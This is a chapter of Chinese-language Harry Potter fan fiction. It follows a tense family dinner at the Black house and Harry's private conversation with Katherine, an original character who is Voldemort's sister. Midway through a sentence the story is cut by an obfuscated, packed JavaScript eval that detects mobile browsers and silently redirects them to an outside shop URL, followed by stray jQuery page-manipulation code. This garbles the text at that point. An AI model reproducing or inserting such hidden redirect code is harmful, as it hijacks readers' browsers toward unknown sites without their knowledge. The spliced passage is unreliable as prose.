一整个暑假，哈利不得不继续在德思礼家生活。接着，摄魂怪袭击达力表哥的事情让他不得不接受魔法部的审判——但是他最后逃过一劫。雷古勒斯动用了在魔法部的关系，让哈利顺利地躲过了审讯——西里斯对他弟弟的举动表示满意，认为他终于做了一件正确的事情。
开学之前，他终于得以住到教父的家里，也就是布莱克的祖宅。经过雷古勒斯的授意，现在这里已经变成了凤凰社新的总部。
然后，哈利终于找到了机会可以和他一直好奇的人谈一谈——凯瑟琳。
在餐桌上。
“十五世纪小妖精制造的最精美银器，上面还刻着布莱克家族的饰章。”西里斯皱着眉看着面前纯银制的杯子，语气里全是讽刺。
“有什么不对吗？”雷古勒斯也不悦地皱起眉，“你非要看到布莱克家族完全灭绝才开心吗？”
“想吵架是不是？”西里斯脸头都懒得扭过去，他和雷古勒斯依旧坐在餐桌的两侧。
凯瑟琳拉住了雷古勒斯的胳膊，示意他不要跟他哥哥因为这点小事又争吵起来。一边小声和他说着什么。
“能吃饭就行，”哈利劝道，“还是吃饭吧——”
“弗雷德——乔治——别这样，把它们端起来！”韦斯莱夫人大喊道。
餐桌上的其他几人扭头一看，说时迟那时快，几个人赶紧一猫腰，从桌子旁躲开了。
弗雷德和乔治动用魔法把一大锅炖菜、一大铁壶黄油啤酒、一块沉重的切面包板，外加一把刀子，一股脑儿地朝他们猛抛过来。那锅炖菜哧溜溜滑过整个桌面，正好在桌子边缘停住了，木头桌面上留下了一长条烧焦发黑的痕迹。那壶黄油啤酒哗啦一声翻倒了，啤酒洒得到处都是。切面包的刀子从板上掉下来，刀尖朝下扎进了桌子，凶险地微颤着，那正好是几秒钟前西里斯的右手放着的地方。
“看在老天的分儿上！”韦斯莱夫人大声嚷道，“没必要这么做——这一套我受够了——就算现在允许你们使用魔法了，你们也用不着做每件鸡毛蒜皮的小事都挥动魔杖吧！”
“我们只是为了节约一点儿时间！”弗雷德说着匆忙赶过来，把切面包的刀子拔出桌面，“对不起，西里斯，哥们儿——不是故意的——”
西里斯放声大笑。而雷古勒斯的脸黑了下来。克鲁克山愤怒地嘶嘶叫了一声，箭一般地钻到碗橱底下去了，那双黄澄澄的大眼睛在黑暗中闪闪发亮。
“儿子们，”韦斯莱先生把那锅炖菜重新端到桌子中央，说道，“你们的妈妈说得对，你们现在已经长大成人，应该表现出一点责任感了——”
“我们吃饭吧。”塞德里克赶紧打圆场说道，他中了夺魂咒，但是在暑假里恢复了过来，并且坚定地加入了凤凰社。
“看上去很不错啊，莫丽。”卢平说着替她盛了一些炖菜在盘子里，隔着桌子递了过去。
几分钟没有人说话，只有大家坐下来就餐时盘子和餐具发出的碰撞声，还有椅子的摩擦声。
在哈利对面，唐克斯一边吃饭一边给她的鼻子变形，逗赫敏和金妮开心。每次她都紧紧地闭上眼睛，露出她在哈利卧室里时露出的那种痛苦表情，她的鼻子忽而肿胀得像鸟嘴一样，看上去活像是斯内普的大鼻子，忽而又缩回去，变成圆球蘑菇一般大小，然后每个鼻孔里都冒出一大堆鼻毛。这显然是吃饭时的固定娱乐节目，因为很快赫敏和金妮就要求她变出她们最喜欢的鼻子。
“变出一只猪鼻子来，唐克斯。”
唐克斯照办了，哈利抬起头，刹那间，他还以为一个女达力正隔着桌子朝他咧嘴微笑呢。
韦斯莱先生、比尔和卢平正在进行一场关于妖精的激烈讨论。
“他们还是滴水不漏，什么也不肯说，”比尔说，“我仍然弄不清楚他们是不是相信他回来了。当然，他们大概不想支持任何一方，不想卷到这里头来。”
“我相信他们决不会倒向神秘人那边，”韦斯莱先生摇着头说道，“他们的损失也很惨重。还记得他上次杀害的那一家妖精吗，就在诺丁汉附近？”
“我想，那得看人家给他们开出了什么价码，”卢平说，“我说的不是金子。如果有人向他们提供我们几个世纪以来不肯给他们的自由，他们就会抵挡不住诱惑。比尔，拉格诺那边还是没有丝毫转机吗？”
“他目前在感情上对巫师还是挺排斥的，”比尔说，“他现在还为巴格曼的那档子事儿气得要命呢，觉得魔法部掩盖了真相。你们知道，那些妖精始终没能从他手里拿到他们的金子——”
桌子中央传来一阵大笑，淹没了比尔没说完的话。弗雷德、乔治和罗恩在椅子上笑得前仰后合，似乎是被西里斯的什么笑话逗笑的。
如果说餐桌上有哪里没有笑声，那就是餐桌的另外一头，凯瑟琳和雷古勒斯坐在那边，一直在低声交谈着什么，他们看上去与餐桌上的气氛有些格格不入——哈利认为，这很有可能是因为他们是这顿晚餐的成员中唯二两个斯莱特林。换成把他一个人放进德拉科那帮斯莱特林当中，他完全能理解他们的沉默。
三份大黄面包屑，接着又是蛋奶糕，哈利牛仔裤的裤腰紧得难受了（这是很能说明问题的，因为那条牛仔裤本来是达力的）。哈利放下勺子时，饭桌上的谈话逐渐平静了下来。韦斯莱先生靠在椅子背上，一副吃饱喝足、身心放松的样子。唐克斯张着大嘴打哈欠，她的鼻子已经恢复了正常。金妮把克鲁克山从碗橱下面引了出来，这会儿正盘腿坐在地上，把一些黄油啤酒的软木塞滚来滚去，让克鲁克山追着玩儿。
“差不多该上床睡觉了，我想。”韦斯莱夫人打着哈欠说。
“还没有呢，莫丽。”西里斯把面前的空盘子推到一边，转脸望着哈利，“知道吗，我真为你感到吃惊呢。我以为你到这里的第一件事就是询问关于伏地魔的情况。”
屋里的气氛突然变了，速度如此之快，哈利还以为是摄魂怪来了。几秒钟前还是那样轻松悠闲，令人昏昏欲睡，现在却变得警觉，甚至是紧张了。听到伏地魔的名字，饭桌周围掠过一阵战栗。卢平刚才端起杯子正要喝酒，这时慢慢放下酒杯，露出警惕的神情。凯瑟琳和雷古勒斯也抬起头，在那之前他们似乎对视了一眼，然后看向西里斯，似乎在担心他说出什么不该说的话。
“我问了！”哈利反驳道，“我问了罗恩和赫敏，但他们说我们没被批准加入凤凰社，所以——”
“他们说得对呀，”韦斯莱夫人说，“你们年纪还太小。”她笔直地坐在椅子上，两个拳头捏得紧紧的抱在怀里，睡意消失得无影无踪。
“从什么时候开始，我们必须先加入凤凰社才能提问题？”西里斯问。“哈利在那个麻瓜家里困了整整一个月。他有权利知道发生了什么——”
“等一等！”乔治大声打断了他。
“为什么哈利的问题就能得到答复？”弗雷德气呼呼地问。
“一个月来我们一直想从你们嘴里问出点什么来，但你们什么也不肯告诉我们！”乔治说。
“你们年纪太小了，你们没有加入凤凰社，”弗雷德说，那又尖又细的声音活脱脱就是他母亲的，听着简直不可思议，“而哈利甚至还没有成年呢！”
“没有人告诉你们凤凰社在做什么，这可不能怪我呀，”西里斯平静地说，“那是你父母的决定。而哈利则不同——”
“我想，你没有忘记邓布利多说的话吧？”雷古勒斯适时地提到那个人的名字，“希望你不会因为私情而坏了大事。”
“哪一部分？”西里斯的神情像一个准备迎战的人，似乎还在为刚才没能和雷古勒斯吵起来而感到遗憾。
“就是不告诉哈利他不需要知道的。”雷古勒斯冷冷地说，着重强调了最后几个字。
哈利、罗恩、赫敏、弗雷德和乔治的脑袋在布莱克兄弟之间转来转去，仿佛在观看网球场上的来回对打。金妮跪在一堆丢弃的黄油啤酒软木塞中间，呆呆地望着他们谈话，嘴巴微微张着。卢平眼睛一眨不眨地盯着西里斯。
“我只打算告诉哈利他需要知道的，雷古勒斯，”西里斯说，“但当时他和凯瑟琳都看见伏地魔复活的，”（这个词蹦出来的时候，餐桌旁的好几个人都打了个抖）“最起码，他有权和凯瑟琳一样知晓全部，但是邓布利多却并没有这个打算。”
西里斯把话题引到了凯瑟琳身上，哈利看到她的脸白了一瞬。
“那是因为我和哈利的情况有一些不同——而且，邓布利多不是说过今年他会亲自对哈利教学吗？我想他一定会和哈利交代更多的东西，甚至不止是凤凰社的内容。”
西里斯看到凯瑟琳开始说话，也就不再针对雷古勒斯。
“那好吧……行了，时间不早了，上楼睡觉吧。”
*
等所有的人都走完，哈利终于找到了和凯瑟琳独自交谈的时间，西里斯知道哈利肯定会好奇凯瑟琳的事情，所以并没有阻拦。
“是啊，这也是邓布利多允许我说的一部分。”他点头说道。“不过你可以先亲自问问她，效果会更好。”然后，他就和雷古勒斯一前一后地进入了各自的卧室。
哈利和凯瑟琳回到二楼的客厅——他觉得自己是有很多话想说的，他不清楚自己是什么样的情绪，只是觉得浑身都不太对劲。
“呃……”正当哈利不知道把眼睛往哪里放的，斟酌如何开始话题的时候，凯瑟琳率先说话了。
“哈利，海格还好吗？”
“哦——呃——挺好的。他和马克西姆女士的关系挺不错……”哈利倒是并不好奇为什么凯瑟琳会知道海格，因为学期结束的时候，海格在哈利的追问下终于承认他曾经和凯瑟琳是好朋友。
“他能找到一个心意相通
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13157102|135277||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的人真是不错。毕竟他在学生时代并不是特别受欢迎。”凯瑟琳微微笑起来，然后看向哈利。“对了，你想问我什么，直说就行。”
“我很好奇，你居然能使用我的魔杖。”哈利想了半天，终于打算从这个话题开始。他掏出自己的魔杖，深色的木质杖身在灯光的下透着光泽。
“这大概就是缘分吧。我在以前本来打算买下这根魔杖，就差最后一步。因为当时我无法使用魔法……”凯瑟琳说道，“奥利凡德跟我说，他知道有一根魔杖适合我，当时我心动了。那天差一点就会被魔法部的人抓走。”
哈利回想起了一年级的时候奥利凡德说的那些看似奇怪的话，原来一切都有迹可循。但是，难道就连奥利凡德也认为，他将会去斯莱特林吗？
“好吧……嗯……所以，你真的是伏地魔的妹妹？”哈利问道。
“是的。”凯瑟琳说道，“准确一点说，我是汤姆·马沃罗·里德尔的妹妹,不是伏地魔的。因为当时我对这个名字并没有什么好感度，所以还是喊他的名字……他当时为此很不高兴。”
“噢——对不起——但是我觉得这一切都太神奇了，”哈利说，“你因为默默然死了，然后又被复活了……听起来太不可思议了。”
她是伏地魔的妹妹，但她又和他的父母和教父一起共事过，哈利终于明白这种矛盾的情绪是从何而起的了。
“你还能使用——呃，汤姆的魔杖。”
凯瑟琳微微笑起来。
“你们在我面前都按照我的习惯喊他汤姆了——是这样，不过我猜想主要原因是被他附身了，所以本身是他在使用自己的魔杖。”
凯瑟琳的这套说辞看似很合理，但是哈利觉得这一定与其他的东西有着联系。
“你不认为这是因为你们有血缘关系？”他问道，“他当时复活，也必须借助你的力量。”
“也许吧，但是我不知道。”凯瑟琳说，然后她忽然又问：“哈利，他做了太多邪恶的事情，很多人都恨不得杀死他，你会觉得，我还要救回他的灵魂的事看起来很可笑吗？”
“我想我能理解。”哈利说，“但是他杀了我的父母，我不可能想着救回他的灵魂。”
凯瑟琳点点头，但似乎也放松了一些。
“非常抱歉……哈利……但这一点我不会退让。”凯瑟琳说道，“我认为这样能让他重新变成汤姆，他会有变化的。是灵魂的残缺才让他逐渐失去人性，因此只有灵魂回归他才能真正为自己所作所为感到忏悔。”
哈利不太确定自己是否会喜欢凯瑟琳了，因为他们似乎站在一个不同的立场上面。
但凯瑟琳完全明白他的想法。
“汤姆以前不是这个样子的。他会有愧疚之心，他还会难过，会害怕。现在，他把自己伪装了起来，魔法让他找到了安全感，但事实上，魔法不是万能的。”凯瑟琳叹了一口气，又说，“……救世主的担子实在太重了，你不仅仅是为自己复仇。人们对你的期望不无道理。你很善良，也很优秀，而他也确实不值得被你宽容……”
“邓布利多说，是他自己把预言变成了现实。但我认为那个救世主不是我。”哈利说，“我觉得那个预言说的是你。雷古勒斯说过，他是在七月底将你复活的。而且，汤姆对你很特别——他不准任何人提你的名字，而且无论在什么时候都把你放在最重要的位置，我认为这很明显。”
凯瑟琳微微有些吃惊。
“邓布利多给你看了他的记忆？”
哈利点了点头。
“……我哥哥不了解爱的能量，因此，他认为他不需要它。他以前还骂我是哑炮，我以为他只把我当成一个拖油瓶，一个陌生人。所以我认为我在他心里和其他麻瓜没有什么区别，不过现在你这样说，我倒是发现，感情确实是双向的，这是突破口。”
“所以？”
凯瑟琳望向哈利翠绿的眼睛。
“所以，哈利，我们需要合作。不管那个预言指的是谁，我们都必须阻止他，而不是‘救世主’一个人的事情。”凯瑟琳举起了放在茶几上的报纸，展示给哈利看，“最近，阿兹卡班发生了大规模的越狱，是我哥哥把那些食死徒们放了出来。我们的时间很紧张，合作是最有效率的方法。”
“我明白了。”哈利说道。
“那你能不能答应我一件事，哈利？”
“什么事？”
哈利觉得凯瑟琳和邓布利多一样，似乎已经预料到了未来的一些事，所以总喜欢让别人提前答应他们什么。
“在必要的时候，你一定要答应把隐形衣借给我。”
哈利看向凯瑟琳，黑眼睛和绿眼睛的目光相撞，哈利觉得自己看到了凯瑟琳眼中闪过的悲伤，但是他没有看真切。
她似乎有让人难以拒绝请求的能力。
“我答应你。”哈利说。